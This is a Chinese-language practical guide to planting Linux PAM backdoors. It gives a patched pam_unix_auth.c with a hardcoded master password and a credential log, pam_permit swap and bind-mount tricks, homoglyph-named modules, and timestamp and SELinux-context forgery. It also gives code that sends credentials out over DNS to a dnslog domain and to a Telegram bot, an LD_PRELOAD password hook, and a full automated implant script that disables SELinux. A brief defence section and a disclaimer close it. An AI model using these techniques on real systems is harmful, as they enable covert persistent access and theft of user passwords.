Linux Pam后门总结拓展
字数 891 2025-08-25 22:59:02

Linux PAM后门技术深度分析与实践指南

0x01 PAM基础与后门原理

PAM基础概念

PAM(Pluggable Authentication Modules)是Linux系统的可插拔认证模块机制,负责用户身份验证。关键组件包括:

  • 配置文件:位于/etc/pam.d/
  • 认证模块:位于/lib/security//lib64/security/

传统PAM后门实现原理

通过修改PAM源码中的认证逻辑,实现:

  1. 特定密码绕过认证
  2. 密码记录功能

关键修改点

pam_unix_auth.c中添加以下代码:

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("qing!@#123",p)==0){  // 后门密码
    return PAM_SUCCESS;
}
if(retval == PAM_SUCCESS){
    FILE * fp;
    fp = fopen("/bin/.sshlog", "a");  // 密码记录文件
    fprintf(fp, "%s : %s\n", name, p);
    fclose(fp);
}

0x02 PAM后门种植实践

环境准备

  1. 获取目标系统PAM版本:
rpm -qa | grep pam
# 或
dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
  1. 下载对应源码:
wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz
tar -xzvf Linux-PAM-1.1.1.tar.gz

编译安装

cd Linux-PAM-1.1.1
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var \
            --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

替换模块

mv pam_unix.so{,.bak}  # 备份原文件
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/

隐蔽处理

  1. 修改时间戳:
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src
  1. SELinux上下文处理:
chcon --reference=pam_unix.so.src pam_unix.so
setsebool -P allow_saslauthd_read_shadow 1

常见问题解决

  1. 64位系统编译错误:
#define yywrap() 1
// 或
%option noyywrap
  1. 安装依赖:
yum install flex
# 或
apt-get install dpkg-dev flex

0x03 高级PAM后门技术

pam_permit后门技术

利用pam_permit.so模块(始终返回认证成功)实现后门:

  1. 直接替换:
cp /lib64/security/pam_permit.so /lib64/security/pam_unix.so
  1. 挂载绑定:
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so
  1. 通过脚本自动执行:
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*

同形异义字后门

使用Unicode字符创建伪装的PAM模块:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so
perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

数据外传技术

DNS外传

修改pam_unix_auth.c添加DNS查询功能:

if(retval == PAM_SUCCESS){
    char hostname[256];
    snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, p);
    if (fork() == 0) {
        ngethostbyname(hostname, T_A);
    }
}

LD_PRELOAD劫持

创建劫持库pam_door.c

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    const char *name;
    orig_ftype orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");
    
    retval = orig_pam(pamh, item_type, item);
    
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        char hostname[256];
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item);
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }
    return retval;
}

编译并设置:

gcc -fPIC -shared pam_door.c -o qing.so -ldl
export LD_PRELOAD=/path/to/qing.so

Telegram外传

使用libcurl将凭证发送到Telegram bot:

void sendMessage(char (*message)[]) {
    char url[500], data[200];
    char token[200] = "BOT_TOKEN";
    int user_id = 1111111;
    
    snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
    snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
    
    CURL *curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, url);
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);
        curl_easy_perform(curl);
    }
    curl_global_cleanup();
}

0x04 自动化脚本

自动化种植脚本

#!/bin/bash
PASS='qing123'
LOG='\/bin\/.sshlog'
version=`rpm -qa | grep pam | awk -F- '{print $2}'`

# Disable SELinux
setenforce 0
sed -i 's/^SELINUX=enforcing/SELINUX=disabled/' /etc/sysconfig/selinux

# Download and modify source
wget http://www.linux-pam.org/library/Linux-PAM-$version.tar.gz
tar zxf Linux-PAM-$version.tar.gz
cd Linux-PAM-$version

sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c

# Compile and install
./configure --disable-selinux && make
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/

0x05 防御措施

  1. 文件完整性检查

    • 使用AIDE或Tripwire监控关键PAM文件
    • 定期检查/etc/pam.d//lib*/security/目录
  2. SELinux保护

    setenforce 1
    restorecon -Rv /lib*/security/
    
  3. 日志监控

    • 监控PAM相关日志/var/log/secure/var/log/auth.log
    • 检查异常的DNS查询
  4. 编译防护

    • 禁用不必要的编译工具
    • 限制/lib*/security/目录写入权限
  5. 定期更新

    yum update pam
    # 或
    apt-get install --only-upgrade libpam-modules
    

本指南详细介绍了PAM后门技术的实现原理和多种实现方式,仅供安全研究和防御参考。实际应用中请严格遵守法律法规。

Linux PAM后门技术深度分析与实践指南 0x01 PAM基础与后门原理 PAM基础概念 PAM(Pluggable Authentication Modules)是Linux系统的可插拔认证模块机制,负责用户身份验证。关键组件包括: 配置文件:位于 /etc/pam.d/ 认证模块:位于 /lib/security/ 或 /lib64/security/ 传统PAM后门实现原理 通过修改PAM源码中的认证逻辑,实现: 特定密码绕过认证 密码记录功能 关键修改点 在 pam_unix_auth.c 中添加以下代码: 0x02 PAM后门种植实践 环境准备 获取目标系统PAM版本: 下载对应源码: 编译安装 替换模块 隐蔽处理 修改时间戳: SELinux上下文处理: 常见问题解决 64位系统编译错误: 安装依赖: 0x03 高级PAM后门技术 pam_ permit后门技术 利用 pam_permit.so 模块(始终返回认证成功)实现后门: 直接替换: 挂载绑定: 通过脚本自动执行: 同形异义字后门 使用Unicode字符创建伪装的PAM模块: 数据外传技术 DNS外传 修改 pam_unix_auth.c 添加DNS查询功能: LD_ PRELOAD劫持 创建劫持库 pam_door.c : 编译并设置: Telegram外传 使用libcurl将凭证发送到Telegram bot: 0x04 自动化脚本 自动化种植脚本 0x05 防御措施 文件完整性检查 : 使用AIDE或Tripwire监控关键PAM文件 定期检查 /etc/pam.d/ 和 /lib*/security/ 目录 SELinux保护 : 日志监控 : 监控PAM相关日志 /var/log/secure 和 /var/log/auth.log 检查异常的DNS查询 编译防护 : 禁用不必要的编译工具 限制 /lib*/security/ 目录写入权限 定期更新 : 本指南详细介绍了PAM后门技术的实现原理和多种实现方式,仅供安全研究和防御参考。实际应用中请严格遵守法律法规。